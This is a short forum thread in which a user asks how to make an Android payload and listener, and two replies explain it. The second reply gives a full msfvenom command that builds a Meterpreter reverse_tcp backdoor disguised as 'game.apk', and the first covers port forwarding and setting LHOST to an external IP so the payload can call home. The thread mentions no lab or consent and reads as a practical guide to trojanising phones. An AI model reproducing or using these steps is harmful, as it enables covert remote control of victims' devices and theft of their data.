Forum Thread: How Do I Make an Android Payload

i have tried multiple times to make a payload but i dont think im doing it right, everytime i create a listener in msfconsole, it doesnt work so i was wondering how exactly do you make an android payload. Should i use reverse_tcp, http or https and once created how exactly do i make a listener for this payload

I am gonna assume you are using msfvenom. Once you generate the payload, you must port forward and specify your IP in the payload.

In order to port forward you have to go into your router configuration page and select port forward. This will vary from router to router, but you port forward your internal IP for msf. And for specifying your IP, you will need your external IP and type: LHOST=IP and the port would be LPORT=4444 or whatever you want the port to be along with msfvenom.

For a reference, check out this link.

Happy hacking!


Hey buddy,
You can create an Android payload using a msfvenom in kali Linux
Fire up the terminal and type
msfvenom - p android/meterpreter/reverse_tcp LHOST=Your local IP address LPORT=4444 R > game.apk
You can use your own application name in the game.apk and for Android you should use .apk extension
And press enter your payload will be generated in the /root/home
LHOST is the local IP address of your machine which you can find in Ifconfig command
LPORT = 4444,6969,9696 whatever you want the port to be with the msfvenom :)
